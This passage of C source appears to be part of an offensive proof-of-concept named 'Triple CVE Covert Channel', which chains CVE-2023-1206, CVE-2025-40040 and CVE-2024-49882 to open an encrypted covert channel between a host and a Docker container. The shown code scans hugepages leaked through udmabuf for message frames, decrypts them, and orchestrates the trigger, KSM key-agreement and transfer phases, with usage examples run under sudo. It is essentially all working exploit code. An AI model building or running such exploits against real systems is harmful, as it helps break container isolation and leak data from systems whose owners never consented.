                    /* Go super aggressive when pages are released */
                    for (int i = 0; i < 200 && !found && running; i++) {
                        void *hp = udmabuf_leak_hugepage();
                        if (!hp) continue;
                        
                        pages_captured++;
                        uint32_t magic = *(uint32_t *)hp;
                        
                        if (magic == MSG_MAGIC) {
                            msg_frame_t *frame = (msg_frame_t *)hp;
                            
                            printf("\n[Phase3] ████████████████████████████████████████\n");
                            printf("[Phase3] ████ CVE-2024-49882 EXPLOITED! ████\n");
                            printf("[Phase3] ████ LEAKED PAGE CAPTURED!     ████\n");
                            printf("[Phase3] ████████████████████████████████████████\n\n");
                            printf("[Phase3]   Attempt: %d (aggressive burst)\n", attempts);
                            printf("[Phase3]   Magic: 0x%08X ✓\n", magic);
                            printf("[Phase3]   Length: %u\n", frame->length);
                            printf("[Phase3]   Sequence: %u\n", frame->sequence);
                            printf("[Phase3]   Checksum: %u\n", frame->checksum);
                            
                            if (frame->length > 0 && frame->length <= MAX_MESSAGE) {
                                uint8_t decrypted[MAX_MESSAGE];
                                memcpy(decrypted, frame->data, frame->length);
                                xor_crypt(decrypted, frame->length, ctx->key, KEY_BYTES);
                                
                                uint32_t cksum = calc_checksum(decrypted, frame->length);
                                if (cksum == frame->checksum) {
                                    size_t copylen = frame->length < buflen - 1 ? frame->length : buflen - 1;
                                    memcpy(buffer, decrypted, copylen);
                                    buffer[copylen] = '\0';
                                    found = 1;
                                    ctx->messages_received++;
                                    printf("[Phase3] ✓ Checksum verified!\n");
                                } else {
                                    printf("[Phase3] ✗ Checksum mismatch\n");
                                }
                            }
                            free(hp);
                            break;
                        }
                        free(hp);
                    }
                }
                last_free = free_hp;
            }
        }
        
        /* Normal leak attempt */
        void *hp = udmabuf_leak_hugepage();
        if (!hp) {
            usleep(100);
            continue;
        }
        
        pages_captured++;
        uint32_t magic = *(uint32_t *)hp;
        
        if (magic == MSG_MAGIC) {
            msg_frame_t *frame = (msg_frame_t *)hp;
            
            printf("\n[Phase3] ████████████████████████████████████████\n");
            printf("[Phase3] ████ CVE-2024-49882 EXPLOITED! ████\n");
            printf("[Phase3] ████ LEAKED PAGE CAPTURED!     ████\n");
            printf("[Phase3] ████████████████████████████████████████\n\n");
            printf("[Phase3]   Attempt: %d\n", attempts);
            printf("[Phase3]   Magic: 0x%08X ✓\n", magic);
            printf("[Phase3]   Length: %u\n", frame->length);
            printf("[Phase3]   Sequence: %u\n", frame->sequence);
            printf("[Phase3]   Checksum: %u\n", frame->checksum);
            
            if (frame->length > 0 && frame->length <= MAX_MESSAGE) {
                uint8_t decrypted[MAX_MESSAGE];
                memcpy(decrypted, frame->data, frame->length);
                xor_crypt(decrypted, frame->length, ctx->key, KEY_BYTES);
                
                uint32_t cksum = calc_checksum(decrypted, frame->length);
                if (cksum == frame->checksum) {
                    size_t copylen = frame->length < buflen - 1 ? frame->length : buflen - 1;
                    memcpy(buffer, decrypted, copylen);
                    buffer[copylen] = '\0';
                    found = 1;
                    ctx->messages_received++;
                    printf("[Phase3] ✓ Checksum verified!\n");
                } else {
                    printf("[Phase3] ✗ Checksum mismatch (got %u, expected %u)\n",
                           cksum, frame->checksum);
                }
            }
        }
        
        free(hp);
        
        if (found) break;
        
        /* Progress update */
        if (attempts % 1000 == 0) {
            printf("[Phase3] Attempt %d: %d pages captured, still scanning...\n", 
                   attempts, pages_captured);
        }
        
        usleep(100);
    }
    
    /* Drain release signal if not already received */
    if (!release_detected) {
        trigger_wait_sync(&ctx->trigger, 0xFF, &signal, 100);
    }
    
    printf("[Phase3] Scan complete: %d attempts, %d pages captured\n", 
           attempts, pages_captured);
    
    if (found) {
        printf("\n[Phase3] ═══════════════════════════════════════\n");
        printf("[Phase3] ✓ DECRYPTED MESSAGE: \"%s\"\n", buffer);
        printf("[Phase3] ═══════════════════════════════════════\n\n");
    } else {
        printf("[Phase3] Message not captured\n");
    }
    
    return found ? 0 : -1;
}

/*
 * ============================================================================
 * Main
 * ============================================================================
 */

void print_usage(const char *prog)
{
    printf("╔════════════════════════════════════════════════════════════════╗\n");
    printf("║  Triple CVE Covert Channel                                     ║\n");
    printf("║  CVE-2023-1206 + CVE-2025-40040 + CVE-2024-49882               ║\n");
    printf("╚════════════════════════════════════════════════════════════════╝\n\n");
    printf("Usage: %s [options]\n\n", prog);
    printf("Options:\n");
    printf("  -i          Initiator mode (send first)\n");
    printf("  -r          Responder mode (receive first)\n");
    printf("  -p IP       Peer IP address\n");
    printf("  -m MSG      Message to send\n");
    printf("  -v          Verbose output\n");
    printf("  -h          Show help\n");
    printf("\nExample (Host + Docker):\n");
    printf("  Docker:  sudo %s -r -p 172.17.0.1 -v\n", prog);
    printf("  Host:    sudo %s -i -p 172.17.0.2 -m 'SECRET' -v\n", prog);
}

int main(int argc, char *argv[])
{
    int mode = 0;  /* 0=none, 1=initiator, 2=responder */
    char *peer_ip = NULL;
    char *message = NULL;
    int verbose = 0;
    int opt;
    
    while ((opt = getopt(argc, argv, "irp:m:vh")) != -1) {
        switch (opt) {
        case 'i': mode = 1; break;
        case 'r': mode = 2; break;
        case 'p': peer_ip = optarg; break;
        case 'm': message = optarg; break;
        case 'v': verbose = 1; break;
        default: print_usage(argv[0]); return 0;
        }
    }
    
    if (mode == 0 || !peer_ip) {
        print_usage(argv[0]);
        return 1;
    }
    
    signal(SIGINT, sig_handler);
    srand(time(NULL) ^ getpid());
    
    printf("╔════════════════════════════════════════════════════════════════╗\n");
    printf("║  Triple CVE Covert Channel                                     ║\n");
    printf("║  Trigger: CVE-2023-1206 | Key: CVE-2025-40040 | Data: CVE-2024-49882 ║\n");
    printf("╚════════════════════════════════════════════════════════════════╝\n\n");
    
    /* Initialize */
    channel_ctx_t ctx;
    memset(&ctx, 0, sizeof(ctx));
    ctx.is_initiator = (mode == 1);
    strncpy(ctx.peer_ip, peer_ip, sizeof(ctx.peer_ip) - 1);
    
    ksm_enable();
    
    if (trigger_init(&ctx.trigger, peer_ip, ctx.is_initiator) < 0) {
        fprintf(stderr, "Failed to init trigger\n");
        return 1;
    }
    
    if (ksm_init(&ctx.ksm) < 0) {
        fprintf(stderr, "Failed to init KSM\n");
        return 1;
    }
    
    hugepage_init(&ctx.hugepage);
    
    /* Phase 1: Trigger */
    if (phase1_trigger(&ctx) < 0) {
        fprintf(stderr, "Trigger phase failed\n");
        goto cleanup;
    }
    
    /* Phase 2: Key Agreement */
    if (phase2_key_agreement(&ctx, verbose) < 0) {
        fprintf(stderr, "Key agreement failed\n");
        goto cleanup;
    }
    
    /* Phase 3: Message Transfer */
    if (ctx.is_initiator && message) {
        /* Send message */
        if (phase3_send_message(&ctx, message) < 0) {
            fprintf(stderr, "Failed to send message\n");
            goto cleanup;
        }
        
        /* Wait for reply */
        char reply[MAX_MESSAGE];
        if (phase3_receive_message(&ctx, reply, sizeof(reply)) == 0) {
            printf("\n════════════════════════════════════════\n");
            printf("RECEIVED REPLY: %s\n", reply);
            printf("════════════════════════════════════════\n");
        }
    } else {
        /* Receive message */
        char received[MAX_MESSAGE];
        if (phase3_receive_message(&ctx, received, sizeof(received)) == 0) {
            printf("\n════════════════════════════════════════\n");
            printf("RECEIVED MESSAGE: %s\n", received);
            printf("════════════════════════════════════════\n");
            
            /* Send reply */
            char reply[MAX_MESSAGE];
            snprintf(reply, sizeof(reply), "ACK: %s", received);
            phase3_send_message(&ctx, reply);
        }
    }
    
    /* Summary */
    printf("\n╔════════════════════════════════════════╗\n");
    printf("║ SUMMARY                                ║\n");
    printf("╚════════════════════════════════════════╝\n");
    printf("  Messages sent:     %d\n", ctx.messages_sent);
    printf("  Messages received: %d\n", ctx.messages_received);
    printf("  KSM merge rounds:  %d/%d\n", ctx.ksm_merged_count, KEY_BITS);
    
cleanup:
    trigger_cleanup(&ctx.trigger);
    ksm_cleanup(&ctx.ksm);
    hugepage_cleanup(&ctx.hugepage);
    
    return 0;
}